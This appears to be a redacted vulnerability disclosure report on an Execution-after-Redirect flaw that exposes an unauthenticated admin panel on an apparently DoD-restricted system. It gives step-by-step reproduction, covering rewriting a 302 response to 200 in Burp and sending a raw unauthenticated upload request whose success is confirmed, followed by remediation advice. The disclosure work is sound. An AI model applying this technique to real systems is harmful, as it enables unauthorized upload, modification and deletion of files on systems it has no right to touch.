Admin

**Description:** I discovered that the admin panel at https://████/█████ and all its functions can be accessed without authentication. ## Impact An attacker is able to use the administrative functions in order to upload, delete or modify files. ## System Host(s) ████████ ## Affected Product(s) and Version(s) ██████'s ████████ (███) Management ## CVE Numbers ## Steps to Reproduce * Navigate to https://█████/ and click on the "█████████" button * Notice how the application first sends an HTTP POST request to https://█████████/█████ which gets answered with a redirect to https://█████/█████ which again redirects to https://███████/█████████ * Looking at the response to https://█████████/███████ I noticed that even though the server sent back a 302 status code with a header `Location: /█████` the response was quite long * I browsed to https://████████/████, intercepted the response in Burp, changed the status code from `302 Found` to `200 OK` and was presented with the admin panel (this kind of attack is called [Execution after Redirect](https://owasp.org/www-community/attacks/Execution_After_Redirect_(EAR))). Below you can see the unmodified response containing links to the ███ Admin Functions: ``` HTTP/1.1 302 Found Date: Mon, 08 Nov 2021 20:28:44 GMT Content-Type: text/html; charset=UTF-8 Connection: close Cache-Control: no-store, no-cache, must-revalidate Expires: Thu, 19 Nov 1981 08:52:00 GMT Location: /███████ Pragma: no-cache X-Vcap-Request-Id: f4014a06-51c2-44c3-4e4f-6db613c30484 Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Length: 4260

LIMITED DISTRIBUTION
Distribution authorized to DoD, IAW 10 U.S.C. §§ 130 & 455. Release authorized to U.S. DoD contractors, IAW 48 C.F.R. § 252.245-7000.
Refer other requests to: Headquarters, █████████, ATTN: Release Officer, █████████ ████████.
Destroy IAW DoDD 5030.59. Removal of this caveat is prohibited.

Admin


████ You are on NIPR NET RESTRICTIVE
Home ███████ Admin Functions UpLoad Weekly Verify File Dates Add Single File VDU ADD VPF ADD Change Classification New █████ Graphic ADD Delete 'ALL' Graphic Files Upload New Editions Install New Base VDU Install New base VPF Install/Update ██████##.txt Replace all Graphic Files Modify Single File** Modify ██████ Chart Modify Library Specific File Stop ALL VPFS from being viewed from specific Region Modify Graphic Specific File DELETE VPF, VDU, Graphics Change Status of Deleted and New Records Change Record Status To an ADDed or DELeted VDU Record ██████████ Documentation Logout

``` * The functions allow to upload, modify and to delete ████ files and can all be used completely unauthenticated. Following an example in which I upload a file; this upload function can be accessed from https://███/elist/s3html.php. Note that the request has no session cookie: ``` POST /██████████ HTTP/1.1 Host: ███ Content-Length: 899 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://█████ Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryT4r0MDX8IcQqr8D9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: https://██████████/elist/s3html.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Connection: close ------WebKitFormBoundaryT4r0MDX8IcQqr8D9 Content-Disposition: form-data; name="nNtM" 13/37 ------WebKitFormBoundaryT4r0MDX8IcQqr8D9 Content-Disposition: form-data; name="oNtM" 13/37 ------WebKitFormBoundaryT4r0MDX8IcQqr8D9 Content-Disposition: form-data; name="update" 2021-11-08 ------WebKitFormBoundaryT4r0MDX8IcQqr8D9 Content-Disposition: form-data; name="nxtdate" 2021-12-06 ------WebKitFormBoundaryT4r0MDX8IcQqr8D9 Content-Disposition: form-data; name="regionSelect" 01 ------WebKitFormBoundaryT4r0MDX8IcQqr8D9 Content-Disposition: form-data; name="type" windows ------WebKitFormBoundaryT4r0MDX8IcQqr8D9 Content-Disposition: form-data; name="userfile1[]"; filename="test.txt" Content-Type: text/plain test ------WebKitFormBoundaryT4r0MDX8IcQqr8D9 Content-Disposition: form-data; name="buttonm" Begin Uploads ------WebKitFormBoundaryT4r0MDX8IcQqr8D9-- ``` Response: ``` HTTP/1.1 302 Found Date: Mon, 08 Nov 2021 21:03:35 GMT Content-Type: text/html; charset=UTF-8 Connection: close Cache-Control: no-store, no-cache, must-revalidate Expires: Thu, 19 Nov 1981 08:52:00 GMT Location: 404.html Pragma: no-cache Set-Cookie: JSESSIONID=0g33q2a5b6hkj02pv9hro94dqa; path=/; HttpOnly Set-Cookie: __VCAP_ID__=7aa1d3ae-4d04-4a15-6476-fac8; Path=/; HttpOnly; Secure X-Vcap-Request-Id: c7bd3c85-075f-43d3-4a45-7f494a6cc748 Strict-Transport-Security: max-age=31536000; includeSubDomains Set-Cookie: TS01485890=01d8bb34a4a839126a96d80bd04820274929fd7bd07f6a640cdcbc306946f3965158fe2cdee1ce628fee6943b7320cf7b62b158749; Path=/ Content-Length: 337
path is /███████
get outtest.txt
S3 keyname: ██████████p/█████████test.txt
i = 0, Upload SUCCESS!
S3 ObjectURL: https://███████/████p/███████████████test.txt
error in ██████charts table ``` ## Suggested Mitigation/Remediation Actions Implement proper access controls. Mitigation for the Execution after Redirect vulnerability: Proper termination should be performed after redirects. In a function a return should be performed. In other instances functions such as die() should be performed. This will tell the application to terminate regardless of if the page is redirected or not.